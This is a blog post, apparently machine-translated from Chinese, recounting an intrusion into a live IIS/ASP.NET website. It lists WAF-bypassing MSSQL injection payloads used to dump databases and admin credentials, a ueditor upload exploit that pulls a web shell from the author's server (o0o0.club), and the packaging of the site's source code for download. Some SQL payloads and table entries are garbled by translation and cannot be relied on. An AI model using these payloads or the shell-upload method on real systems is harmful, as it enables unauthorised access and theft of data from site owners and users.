发布于2025年12月5日12月5日 ## 1. 前言\r \r 正如标题所说,由于是在知道有SQL注入之后才进行后续操作,所以前面的信息收集就简单说一下。 \r \r ## 2.信息收集\r \r 目标是本地传销网站。其大致信息是IIS+ASP.NET+安全狗和腾讯云。 \r \r ## 3.绕过Sql\r \r ### 3.1 模糊\r ````\r 空间\t\恐怖\r 加号\t\t未拦截\r 等号\t\terror\r 单引号\t\terror\r 双引号\t\t未拦截\r 双括号\t\t未拦截\r +选择\t\恐怖\r %0b选择\t未拦截\r %0bselect%0buser%0bfrom\t未拦截\r %0b从%0badmin选择%0buser%0b\t拦截\r Convert()\t未拦截\r ````\r 根据上面的测试,我们可以看到程序本身也有过滤,error就是程序本身的过滤。可以利用IIS处理%符号的机制来绕过一些符号,比如%0b代表空格,%2b代表加号等。根据测试结果,可以先使用convert报错来获取一些信息。 \r \r \r \r ````\r goodscontent.aspx?gid=convert(int,@@version)#版本信息\r goodscontent.aspx?gid=convert(int,db_name())#数据库信息\r goodscontent.aspx?gid=convert(int,user_name())#当前数据库用户\r ……\r Tips:可以通过遍历db_name(1)\r中的数字来获取其他库名称 ````\r 获取以下信息:\r ````\r ASP.NET 版本:Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400\r 数据库版本:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)\r 用户名:sa\r 计算机名称:10_*_76_*\\SQLEXPRESS 10.*.76.*\r 当前库:pan20170823\r 所有库名称:\r 潘20170823\r 主控\r 临时数据库\r 型号\r msdb\r 报表服务器$SQLEXPRESS\r 报表服务器$SQLEXPRESSTempDB\r ````\r 下一步是获取表信息\r ````\r Goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0 bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#获取表总数\r ``\r \r 由于我只能简单地选择,所以我仍然无法获取表名。如果还有其他方法,请告诉我。 \r \r \r \r ### 3.2 虎标万金油\r 这时,我们陷入了僵局。后来想起404大佬写的一篇关于绕过安全狗的文章里提到,在mssql中添加注释和换行符也是有效的,所以就构造了。 \r ```sql\r goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/\r PS:在注入点已经使用convert进行数据转换,所以可以直接阻止后面的查询\r ````\r 获取第一个表名:jsrecord\r \r \r 由于我仍然无法绕过单引号和等号,因此我仍然无法使用not in 和for xml 路径来填充后续的表名称。这就触及了我的知识盲点,所以我不得不查阅大量的文章案例,最终构造出以下的说法。 \r ````\r /goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b11%0btable_name%0bFROM%0binformation_schema.columns))--%20*/\r ``\r \r 这时只需要遍历top的值即可,例如:\r ````\r /goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b80%0btable_name%0bFROM%0binformation_schema.columns))--%20*/\r ``\r \r \r 通过不断遍历数值,发现还是有问题。例如,1-20、200-209、334-345 返回相同的表名。存在大量的重复和乱序,但是可以通过burp中的intruder-Grep-Extact函数解决。操作如下:\r 首先设置入侵者遍历001-600(超过600之后就没有内容了)\r \r \r \r \r 然后使用Grep-Extact 提取表名。 \r \r \r \r \r \r \r 只需保存结果并删除重复项即可。 \r \r \r 与之前得到的表总数一致。 \r \r 解决办法是获取memberadmin表中的列名和内容,但在此之前我习惯性的查看后台网页的源码。 \r \r \r \r 如图,盲猜列名txt_nickname,nickname,txt_password,password\r ````\r /goodscontent.aspx?gid=--/*%0a(从%0bmemberadmin中选择%0btop%0b1%0b昵称%0b)--%20*/\r ``\r \r \r ````\r /goodscontent.aspx?gid=--/*%0a(从%0bmemberadmin中选择%0btop%0b1%0b密码%0b)--%20*/\r ````\r \r \r ## 4.后台getshell\r 登录后台\r \r \r 经过测试,发现信息管理处可以发出咨询并上传图片。通过修改去掉filename=\'1.aspx\'中的双引号,可以绕过安全狗,但无法绕过程序本身的检测。 \r ````\r Content-Disposition: 表单数据; name='up_picture';文件名=xss.jpg .aspx\r ````\r 不过了解到上传组件是ueditor,net版本存在上传漏洞\r poc如下\r ```html\r \r ````\r 并在自己的服务器上准备一个shell(注意狗),命名为a.gif,然后填写shell地址\r ````\r https://o0o0.club/a.gif?aspx\r ````\r \r 提交后可以获取shell路径\r \r ## 5.打包源码和数据库\r 有了shell之后,需要做的事情就变得更加清晰了,就是对源码和数据库进行打包。由于只需要这两个操作,因此不需要太多的权限,避免因操作不当而触发警告。因此,我选择先通过shell进行打包操作。 \r \r \r \r \r ### 源代码\r 这里我们使用自行上传的rar.exe对源码进行分卷打包。之前尝试过7z.exe(目标服务器上已经安装)和makecab,但是效果不太理想,姿势不够。我还是希望能普及一下。 \r ````\r rar.exe a -r -v50m -m5 pan20170823 *.*\r #a 压缩\r #-r 打包子目录\r #-v 卷大小\r #-m 压缩级别\r #pan20170823目标目录\r #*.* 打包后的文件名为pan20170823.part*.rar\r ````\r 最终以每秒100k的速度完成下载。 \r \r \r ### 数据库\r 跳过吧,后台有自带备份功能\r 陷阱:后台备份文件的后缀是zip。下载的时候总是提示文件损坏。一直以为是备份功能有问题,后来发现文件头是TAPE。 \r \r ## 6.本地构建\r 本地搭建的环境是Windows server 2012+IIS8+SQL Server 2008,简单说一下0.0\r ##SQL 服务器\r *跳过安装过程\r * 导入数据\r \r 创建新数据库,然后通过原设备恢复数据\r \r \r \r \r \r 恢复成功\r \r \r \r ## IIS 和ASP.NET\r \r 安装很简单,填左边就行了,简单粗暴\r \r \r \r \r \r 添加站点\r \r \r \r 最好和目标版本对应\r \r \r \r 修改源码中的配置文件\r \r \r \r 访问\r \r
创建帐户或登录后发表意见